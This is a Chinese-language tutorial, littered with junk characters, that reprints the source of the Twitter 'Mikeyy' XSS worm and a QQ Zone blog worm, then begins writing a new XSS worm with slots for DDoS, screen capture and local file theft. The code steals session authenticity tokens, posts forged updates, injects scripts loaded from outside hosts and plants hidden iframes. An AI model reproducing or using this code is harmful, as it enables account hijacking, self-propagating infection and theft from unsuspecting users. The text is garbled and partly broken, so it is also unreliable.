2 h2 {3 ]% D- J第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2. ! B# b! C* p# w3 V7 m. q: t& K
1 L. h% b+ e% S- C 3. function XHConn(){ 3 {' T: C4 L$ w2 Q- [( J- t
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4. var _0x6687x2,_0x6687x3=false; & s' k1 f' d( F" D. A/ F9 Y0 @
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5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } ' [0 H7 \. X4 g
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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' Z. x* T$ u1 K- `4 z+ }! o 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } : n. e$ L, Z) E1 ^$ y' ^: q
/ y; l: z* Y6 z 8. catch(e) { _0x6687x2=false; }; }; }; - o6 X' N6 D/ j. o1 @' N
复制代码第六版: 1. function wait() { 2 a) G+ M9 r$ _) k! d" N
, n ]6 _9 s/ y 2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie;
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4. var tmp_posted=tmp_cookie.match(/posted/); ! y7 n- G, e. T1 H
' I3 U2 P& y% m7 y8 E7 R& ` 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); 4 W+ w3 s; o9 Z/ I1 D F, e# j( r7 N
( j" W6 [+ `2 J- b6 V. r1 u: y! C- F 6. var authtoken=authreg.exec(content); . z8 R* J6 f, }$ d
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7. var authtoken=authtoken[1]; 3 w* ]. C( B% g1 V* n- y `
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8. var randomUpdate= new Array();
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& K" x- \% p( n9 \ d: ^ ] 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; - V; s* g9 |7 k6 l, t6 L) k0 n T5 H
0 T/ p* T5 o# ^, d, M 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; % y5 T! l$ y1 @# Y$ T$ w
# b7 S( D; s/ ~! D* M2 h 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; ' H0 \; H/ E1 I: ?) c
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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# @; l6 P# ?+ h4 i3 m8 x# L 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; 1 S) ^- h# ~" k+ u
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; 5 }; d$ i6 m8 K. s
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; & p; L6 H% [1 M7 ^: o
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; % d) D6 D: N- c* j( ?
- p3 | Z# `! a6 Y1 f' w. T T 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; / T3 l: C- w% h- }
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; % P; N( x' Y% r2 J h m( t
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; 1 w1 H2 d& ~+ ~4 i! I- o# R5 u
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24.
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8 h, K5 ?- L1 |( C$ n 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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# y: F0 d) h% ]! e w- ?1 k E 26. var updateEncode=urlencode(randomUpdate[genRand]); : ]7 v N: V# v a5 S& r
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27. 4 _; P8 y# }/ T* @
) p( W% K6 ]4 q5 h, k 28. var ajaxConn= new XHConn();
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) a, u. j7 {$ N7 {' }- Q 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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30. var _0xf81bx1c="Mikeyy";
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31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn(); * N) t7 \0 @; r( X* N; P/ w
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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& S9 S& a# w/ c. g3 e 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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35. var XSS=urlencode(genXSS); % |- m, T0 p# Q0 t
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36. var ajaxConn2= new XHConn(); 1 Y( W( Z/ F" a4 I/ R L
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); " r6 o# S0 L9 q
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38.
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39. } ; 4 m3 g3 @& ^# b% H4 f8 a3 K# p6 |
) Z& n4 v9 |, Y 40. setTimeout(wait(),5250);
4 U/ k! \: f+ z7 @3 Z4 ]复制代码QQ空间XSSfunction killErrors() {return true;}8 S( A" x2 c' e1 f' h- {' E
+ ~# B- @! o0 P" J7 S/ Y5 Vwindow.onerror=killErrors;7 }; b+ y0 f& x, e. x; \% H
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var shendu;shendu=4;
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3 m: m/ p6 w5 B% M) f- t//---------------global---v------------------------------------------, Q/ }# f( X/ W1 t9 S! C' B, }; Q6 _
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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! ~2 _# t, N$ \$ Gvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";$ ^4 Z2 \& V$ E" ~* f/ Q2 |. s" G
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var myblogurl=new Array();var myblogid=new Array();8 k: v- [* ^0 h5 A( k, B6 Z. H2 P
[0 }9 C# t7 t: }9 L var gurl=document.location.href;; x9 T% {; q E% h; }# Q" F5 k
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var gurle=gurl.indexOf("com/");
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8 u1 X9 X Z3 u# z, Q gurl=gurl.substring(0,gurle+3); - {2 [; B/ @8 ?3 X4 N1 Y. @* |
) g9 U ?4 t! u" v) I2 [4 y' q var visitorID=top.document.documentElement.outerHTML;2 N5 w7 r) z* G! \( R* z7 J
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var cookieS=visitorID.indexOf("g_iLoginUin = ");
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! O5 {/ S( [ O3 Z6 \ visitorID=visitorID.substring(cookieS+14);* T/ Z8 T( Y" y) s F
9 y" I, T6 D$ a cookieS=visitorID.indexOf(",");/ N! r; ]5 D# j) M) b2 u
; r" L& Q+ [( X4 b visitorID=visitorID.substring(0,cookieS);
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& A U4 ^1 _' a* |* r get_my_blog(visitorID);+ h0 ]; K c3 f" b% C6 _: L
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DOshuamy();4 X4 i" L$ e. d, o9 y$ X+ T0 x9 L$ u
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//挂马
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function DOshuamy(){
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var ssr=document.getElementById("veryTitle");
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' ~7 I" d+ b+ essr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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, a: f2 C9 e7 {//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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function get_my_blog(visitorID){5 z) u& E! E x7 a8 i% \( W2 c
- K* R% h/ r* j& {" y. o& W& p& s userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";, b/ m# g& |" Q5 |6 m& l
- m9 I8 ^% t2 E( a9 A8 s xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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! g2 @3 {) p1 a7 P# W4 Z, U if(xhr){ //成功就执行下面的
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; V' H+ t' y' M1 m6 c xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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1 k4 o; Y3 l2 I+ Z- F5 F xhr.send();guest=xhr.responseText;
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get_my_blogurl(guest); //执行这个函数
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& z* l1 d3 J! s4 {' D3 A8 S! }//这里似乎是判断没有登录的0 a, c6 X( I4 N+ p: N" s& u4 p: C
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function get_my_blogurl(guest){- U0 U6 U% B5 x
0 C3 }1 E" P1 o% u5 p- ]0 U var mybloglist=guest;
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0 }+ S& I; W2 \" ~) p0 O3 I$ `# `* E var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了, E/ V# R$ d- ] u
. }; W2 n8 @; U# q3 p
if(myurls!=-1){ //找到了就执行下面的1 s% E! k* c( i$ N$ Q
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mybloglist=mybloglist.substring(myurls+11);
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& G. u; L, j6 k myurls=mybloglist.indexOf(')');) h/ l- i! j$ X& V9 G
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myblogid=mybloglist.substring(0,myurls);
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$ A4 Q" b4 _9 B$ f" R }else{break;}9 O9 I$ t( O8 F1 z: b
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get_my_testself(); //执行这个函数
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//这里往哪跳就不知道了
0 u) S- o g% ~8 T& ^# ]4 H) d+ H7 s! U( ]2 e" O
function get_my_testself(){* J. F8 Y; F5 u! d
! r( t n9 c! P! b9 v2 |; C for(i=0;i<myblogid.length;i++){ //获得blogid的值
2 F0 F/ s# n* m) R+ \/ v7 ^: q/ t# U" t4 i
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();6 H* w+ \" y R3 b4 }. ~. d
' l3 L9 E, b0 Q$ D; @1 T var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象# ^' M( I8 o5 ^. {9 r
$ R( d! {. ]& Z. T+ u3 d
if(xhr2){ //如果成功; w# U1 V7 Y" U$ L
q4 T$ I& s# T; f3 J- P xhr2.open("GET",url,false); //打开上面的那个url
9 t P; D: W. `8 T% o3 d
& c4 X* u$ |. p+ {; W xhr2.send();0 |8 z2 ]' ?! v
" L( n' g' j7 J2 M, N guest2=xhr2.responseText;3 ?8 K0 l! z6 C) ]/ X
8 H- ]" W7 x/ e* T o7 T var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
4 {) |& `$ B- B3 }& g8 N; G- M. C! ]( E
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
4 J, d" F8 X; z' s9 Y% i+ w
, |9 ^* V+ \$ g$ b3 y" x if(mycheckmydoit!="-1"){ //返回-1则代表没找到
( I* d) N0 V( S& D6 H" H) |* i/ t, ?# f6 |2 m
targetblogurlid=myblogid;
2 B7 `8 M7 R! S; q3 a/ D/ u7 k" w
+ U9 G) k# ]7 f$ J! R9 I2 L3 ] add_jsdel(visitorID,targetblogurlid,gurl); //执行它9 A: q( K9 }! _- |) R8 U' X8 U
3 \7 ?) | c. U
break;+ [" w; R# D% I5 N1 V
" K) q- O# D) n7 ~ }+ b1 _/ R2 l0 Z. l
/ y6 l$ l4 M5 D, [( K- E `3 ^0 u# [
if(mycheckit=="-1"){
) q, C# S+ B9 i. k$ [$ W
, S' M7 L- m* K* E; t" \/ W/ M targetblogurlid=myblogid;
2 X' t4 M7 w! ~& Z0 s- {
% O( M. L+ s, r4 D" \$ g( j add_js(visitorID,targetblogurlid,gurl); //执行它" h. d! G& O- j! o: e9 e3 F- b. _
: K7 _& I$ q. E7 n" M% A break;
* d0 L/ g8 T. F3 f' f1 V" u8 }4 }
5 b$ C: _# B7 y2 F Q }
1 E! P( M$ X+ w/ g: L- a
+ \8 U$ T; r4 D3 J2 Y }
5 b2 S( `6 i! E' n
1 B- R3 U; N; V) X! G}
0 G X' i; |- X$ }5 z* i
8 y; a9 b2 q, C/ ~}
; j* S( m2 j, _# ?; S; |, L+ E3 d8 f. ?0 Y2 Q: Y% X
0 V( s+ K0 m# z
3 @4 k$ J6 y6 W//--------------------------------------
% [) U$ W. }, @, Q' V; x+ a8 L1 g& d: Y& S0 e
//根据浏览器创建一个XMLHttpRequest对象9 v0 X T% g6 R. W
3 _: |5 [+ o" C1 zfunction createXMLHttpRequest(){
) W5 ]8 U( C6 l" E1 c# ^! q, B( Q& w
var XMLhttpObject=null; 6 D. B3 d1 x" s6 p
" I3 f( m* x; K U& v+ V K
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} / l# a) e5 A" ~" O O3 Z$ ]
8 o! k+ S' a- F0 d) q1 t, @: C% r; L* y
else
3 B% M" N; q) j! B: e* W, z
3 T' `# U3 c% }4 i& q { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
' P: Z4 o* ?' r. l# T4 ?( R/ x
1 O3 U5 m) C3 g+ e. d for(var i=0;i<MSXML.length;i++)
9 I# [( i4 L8 u7 o
( F4 G3 U0 S7 ^. Q4 J/ q. J& b { 9 |0 A# C; ?9 D1 K# X( m
+ d. u. ?' m+ a j& S! C3 n
try
; o' ?, A1 U4 B, O& f$ t# W4 F2 w/ u. K+ ~
{
Q" F, G3 M$ v9 j* M% C( F2 A7 r6 c% v2 B- w
XMLhttpObject=new ActiveXObject(MSXML);
8 o0 ?2 l. K3 `- x) B* M/ ?, b! M- }9 I. U' z) h
break; $ [& \7 N9 X1 C R, j$ r
) @: g1 W& a n/ h- d) W4 s. e9 C }
! t x0 N) h- C2 [
: ~4 r6 \4 J$ m9 O- {, P6 X1 R catch (ex) {
/ m& G s- [5 c W
4 ]9 j# S, \# L/ ?" B } # S+ U5 b3 L* E) t I/ G) C
1 I5 v6 X3 u5 `7 H8 `
} 2 k1 A9 x% [6 Z6 D( l9 o1 [: A. m
9 D# e( n5 E( `
}9 A+ d4 ~; e2 q- Y; ^
u' f, g" M8 G% _
return XMLhttpObject;5 c7 r. o# q* b9 w) g
7 y) [" l- L9 q: b# r; r: D
}
+ b1 \; ~& F0 [# F$ [* o
/ x; K9 q+ X$ O7 ~3 h( G" z( A U' J- n! [' [9 H* t0 v, B7 h
" v4 [. N% ~4 Q
//这里就是感染部分了5 ~3 Q! n6 q Z+ [ D9 x! j
9 J' W: w* g- _/ M8 h6 V- H, W
function add_js(visitorID,targetblogurlid,gurl){
, ?; ~: c# e- T& W4 C2 c2 a5 P8 h- _% G2 W! c7 q
var s2=document.createElement('script');5 U" z& {8 ]- a; k
' _) K& a: R/ c% n1 ]( c" T- Ms2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
6 x( v5 E% V% Y$ w$ j6 |( m1 C& K* T* ~: B' m
s2.type='text/javascript';
2 r$ r1 w& s9 o& f+ x" G' S* n$ H( G8 x- u% b$ W6 K: f
document.getElementsByTagName('head').item(0).appendChild(s2);& s- r/ ~ W$ ?# r: i) A
+ V# c7 J- ?, `3 }, D! b/ G}
( z# u E$ N8 k4 T t0 t1 i; ~# S* T9 f2 C7 d
3 L9 @- C3 R( m- E+ V0 A' [ k2 N) _0 Y6 b! G' f
function add_jsdel(visitorID,targetblogurlid,gurl){7 `% D7 W( {( j g5 e7 ?$ W
" F. O" B. S0 S% @& a
var s2=document.createElement('script');
1 F. H) y( L& T
! c2 K, t3 Y2 F9 \( Z+ vs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();$ g7 I4 h- B b7 R" e; U
; Z, ^9 A* s& u# y- _: D
s2.type='text/javascript';
3 w2 Q; I4 \5 J5 h0 J; v8 `
8 A/ p5 l3 h2 Z2 g1 f3 N+ p# Odocument.getElementsByTagName('head').item(0).appendChild(s2);
' J$ U! C! m, E' p. X8 @2 F# ^3 i% `0 L
}
; ^( W) B1 W7 _2 L复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
+ }3 b- q( }& i1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
& P: L; M3 Z7 ?8 @& q* ~* F5 j$ n: u! ?/ m* A
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
# i( C- P) @- ]* a/ i
+ M6 X. w" M$ D( x* S3 b; l综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~: e) I/ `3 A( r0 D% Q9 m, M5 e3 X
9 @5 w$ L& p* w9 C8 V4 G
0 ~$ Q2 g0 K* C! J2 r下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.' j# Q( a( S- ^; _* [ _ D
& N/ G+ I. c* F& D( m首先,自然是判断不同浏览器,创建不同的对象var request = false;
5 q6 F( q7 x# Y2 `4 o$ E9 b) s0 i' `, w s$ i2 j3 U. j0 J5 u
if(window.XMLHttpRequest) {
- f0 B" q* ~ g: d4 a8 S* P0 U3 T" ]! v8 ]! M% |0 [
request = new XMLHttpRequest();1 M$ y' M+ F) a0 H) o9 t+ v
+ d/ V: p' i0 {' E
if(request.overrideMimeType) {, J; a n. ~' d( k* `" G
/ Z! k. O! w: u1 H0 ^" d- |
request.overrideMimeType('text/xml');* k. M7 m; p3 h+ Q% {4 \
4 z4 V: r/ `7 Y3 b3 C+ z4 `' x}
6 h1 ^9 Z$ s3 t; W; `1 H
1 J; D' T+ O( M} else if(window.ActiveXObject) {
8 N4 Q% o0 X4 l0 K3 m' w/ a
4 Z: r. j5 B+ S$ y8 W+ Bvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
( A, B6 W/ f. K* s' g& \; D0 [ D$ t0 A+ c N, Y
for(var i=0; i<versions.length; i++) {5 q& a+ X6 L" t: B* w$ F
2 {2 u' Z+ G' `% Dtry {; n. [ { W$ d$ a7 P' U6 Y$ j. T
6 b# s9 @( |) o) L
request = new ActiveXObject(versions);
4 |3 g1 u% X5 c* }5 v- ]! y O$ n0 r3 s6 Q0 Y
} catch(e) {}
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5 T+ x; N9 N* v' t' \7 t}0 t$ t! Z1 c/ J. i$ f: n& q
" f; ~. X |8 k4 C6 g9 L}& n. h. S! K+ q- G3 I
7 }7 l# q d* p* P; vxmlHttpReq=request;
& ~1 Q' V# ~6 T. q) C+ h: M复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){0 i& i) F. p: Q
: z7 G/ C. c. g3 Y, ^8 q var Browser_Name=navigator.appName;
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var Browser_Version=parseFloat(navigator.appVersion);! s6 e$ L, Y P9 m$ k/ V8 F5 X
7 P7 V ~; I& v3 u& `/ Z! d
var Browser_Agent=navigator.userAgent;! ~& M3 ]$ n& q4 l7 X4 J
! m$ U. G/ B2 n
, i2 I4 t! K o8 h2 r: a2 b) F6 h8 K7 o. M# K j
var Actual_Version,Actual_Name;7 h, [/ `+ y5 b% t M9 k. O0 l
! \: k) g6 M3 L+ G) i9 s " N9 E3 w7 l& \. t2 w' q. ?5 l/ u$ p
- m+ z. ~3 ~0 `7 w0 a0 p! c var is_IE=(Browser_Name=="Microsoft Internet Explorer");8 o6 L$ ~4 v# r: g
' U" @) {) X0 l$ u; o7 G var is_NN=(Browser_Name=="Netscape");
4 w! K& y) w! d/ g+ C6 D/ n1 [* Y
var is_Ch=(Browser_Name=="Chrome");# o" N: B) n4 v8 T# Q
0 d# I0 E& H% o9 H1 t# |0 b
1 v# u; d$ [# e3 c- g
# A0 x7 Q& l; O
if(is_NN){
2 C$ J- O! q/ _& @2 Z/ h2 H9 b' l
if(Browser_Version>=5.0){: g$ Y! V8 i+ C* q+ p+ T1 k1 \
& ^, u2 `8 d; _/ l
var Split_Sign=Browser_Agent.lastIndexOf("/");
5 f6 B8 B3 m. J; |; N, e3 S7 H5 F) ]& @: s% ^5 G( y% h2 v& m1 Y! k
var Version=Browser_Agent.indexOf(" ",Split_Sign);: n+ v7 o9 U: W, ]
. W8 C, }% Q7 ^& w, F( T var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
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0 c& D1 B2 P4 Z! M8 |, U1 V; {% P' d" L6 G* L, r5 O- i- r7 W( F7 {
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);% f! R5 Z" ]9 H5 y4 `# s
+ w# \" i+ x. v& ?" t) a, }1 @
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);/ K4 p. p) N6 F+ V
0 d1 J0 k. k1 U; O6 C+ q
}& U* k0 l( z5 _( B( Q. K( `
4 h! y8 y& \- X0 h; e
else{' J% d7 c$ o o8 f
* I$ }% p, ^1 H4 A3 j h$ \4 G Actual_Version=Browser_Version;
6 Z, |3 n8 j- x! z# z0 @; {
: F! S! O9 |8 h5 D! X Actual_Name=Browser_Name;
3 B( c2 e; `( x1 M5 }6 @, v! Q# a% b. t6 p
}
% F/ B2 Q8 @! Z$ H" ]
% {8 x* q a5 L8 E" N7 Q$ C7 `! P }3 a7 A1 Z! A: a9 l
# I) c5 n& V$ d' ]
else if(is_IE){ T5 l0 j2 x# T* }( B* u
! ^, e% z; L. S4 P0 S
var Version_Start=Browser_Agent.indexOf("MSIE");
+ q1 o. ~8 O/ I9 u& ]3 G8 X9 I* A D2 C& `
var Version_End=Browser_Agent.indexOf(";",Version_Start);
' r8 b) R+ A) u: g0 ^
' d' v. `, ?" I: H/ b Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
1 s6 p5 R+ l; ^3 c" x+ s6 R& X( s) H+ T: Y8 m! X7 w
Actual_Name=Browser_Name;! W+ ?4 C# S! x/ J$ t1 i8 D }
% O2 k( W9 l. {1 C, m* \' ?* n
' `/ i2 Y* Z3 a; o% k) ]; G
6 v- f3 R# v5 V9 U: [: x6 A: x if(Browser_Agent.indexOf("Maxthon")!=-1){/ {! Z; t( ?! \" f' O
4 ]+ c7 j3 t0 \& q4 M/ V+ R Actual_Name+="(Maxthon)";9 k& |: G8 N% k* ^
! o! \) |; K4 Y7 ~7 ]! s* {* F3 W
}' h4 I" J/ Y& C1 j7 n1 A
: e0 q7 \" e, Z$ ~2 a2 S1 C( x else if(Browser_Agent.indexOf("Opera")!=-1){2 D7 m6 p, A$ B5 K1 {7 c
* g% k) j- |# [: }
Actual_Name="Opera";; C6 u+ h) w* y. K
/ v, Q5 ~. A% t0 E+ m1 R var tempstart=Browser_Agent.indexOf("Opera");" {9 {! H7 Q0 q+ W
+ }) F& v1 G7 t, K3 X, u var tempend=Browser_Agent.length;
5 W. b/ u- C0 c: a, T, v1 u! _0 A" m4 P! `4 K
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
9 E* ~3 t. o; I* _; B2 `3 T
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* s2 u1 C1 L! R8 \0 y* X3 n
}
5 [/ V4 V, M0 u; c1 G$ ?- `5 @" V% v8 A9 t) ?: z7 R7 ]+ Q* h, `: O
else if(is_Ch){
2 ?" z E; \& Z. o% ]+ X
, \7 Z3 @, M0 A var Version_Start=Browser_Agent.indexOf("Chrome");
% \( r+ P0 x4 p0 u/ r' B5 d5 }1 S$ i5 J" B) N3 N" _6 Z8 l
var Version_End=Browser_Agent.indexOf(";",Version_Start);
/ t( t% R5 b: H1 D
$ X7 z( [$ N/ \( y Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
+ Y' ^8 o3 Y# \+ G. y; E
/ o- b* a9 R, P$ f2 m, K) P Actual_Name=Browser_Name;
- E( z2 X- P8 c' ^- v% ~
6 R4 h, Z4 n% w6 P( A % P/ n0 C0 w8 U/ d- u" W$ X
- G, I+ B& h% C9 S: ~# | if(Browser_Agent.indexOf("Maxthon")!=-1){8 R) Y) K$ m* y; ]7 \: _- @ E
. M5 {# e/ O# S/ S f6 j
Actual_Name+="(Maxthon)";! U% d0 z) E1 c$ i
7 @8 Q$ U: Q: ?) K1 K7 z2 G }- q* n" q5 ~7 t$ X* b! w
- s" S C5 x: b8 B else if(Browser_Agent.indexOf("Opera")!=-1){& _& g% z; P7 o* ^" C7 A$ q6 X
3 H/ F1 L4 }" ?- o6 i
Actual_Name="Opera";3 ?+ ^6 l" J7 ?4 M/ D9 ~ Q+ e8 P; l
K# p9 A0 N8 j$ V/ S7 T var tempstart=Browser_Agent.indexOf("Opera");- C6 k) h9 D# G" P
! } z, Z: U T* }. T
var tempend=Browser_Agent.length;
2 l# ~9 Y% ?. r( Y# c3 k& U& e# _* f2 \
/ S7 k) x( c$ s' ~0 e( o, v Actual_Version=Browser_Agent.substring(tempstart+6,tempend)1 f7 z( ~" A2 Y. W; t; F3 n; z
/ C2 _( I1 Y9 D' ?: j U }
. h& Q0 f! P) L* h1 g2 N( M& e" z. N9 B
}7 C% `8 J) @! P( t0 @( Y
" k# y/ j$ d- f# n; Z
else{% R7 M. P" e- T# u8 \4 a( ?
7 W! e' M: m7 p! K% \
Actual_Name="Unknown Navigator"% Y+ x6 g& o9 G8 n
/ B0 J9 I6 y/ x/ J( k# K$ M Actual_Version="Unknown Version"2 w- |! u, f% U/ Q0 o0 M
! @8 e7 r2 }- |+ i }
( P$ T( d% ?% G& ~6 y* {1 t5 h+ h/ h9 V
. m! p" D( V9 T/ R c
' f, ~& H( X1 I9 m2 J
navigator.Actual_Name=Actual_Name;( \* _; L3 n. }" N( ?
# w) G8 O# z6 J+ G) Q/ x
navigator.Actual_Version=Actual_Version;
2 X3 O% k Y. ?& q$ i3 ]' t
1 P) z8 b7 W3 n" Y3 q) o ) a8 ~$ a1 {: {3 n! h
5 H! L8 {& }7 ^' [: m, U
this.Name=Actual_Name;
+ z" P" S. P& Z; X# B
" n) u# m; O; g this.Version=Actual_Version;
; M% c9 P. H* O" E5 [6 Q7 ]' R3 U/ g% q I
}
3 K7 x3 q( F7 `
8 [$ a L: t# _) \ browserinfo();
3 e6 Q# E, f D" z2 K$ ]$ c- X# C# z5 L3 O- i( \4 E) L
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}. z" b+ ^7 w& M" g" G5 q" W
2 w7 I% y% H% o6 f if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
+ w$ A7 z2 O: S2 W/ J* Y0 _2 X7 l! A6 O9 M8 s. L+ m
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}. ]! c) o; q B8 J, R! u! U
- i h7 Q' @* V6 q) ]: f' p1 f" w0 @
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
0 |! K$ z: |5 l8 |复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
) ~2 ^; x, L6 @0 R7 H: @复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码: T% u" r0 R1 |. F1 V" _
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.+ q9 b& h3 x& D& w3 o* t$ D
/ \5 `+ m# V' l$ F" m4 PxmlHttpReq.send(null);
; w) m; P: O, M3 ~ T1 g
|) F) o7 s6 `0 K# H7 hvar resource = xmlHttpReq.responseText;
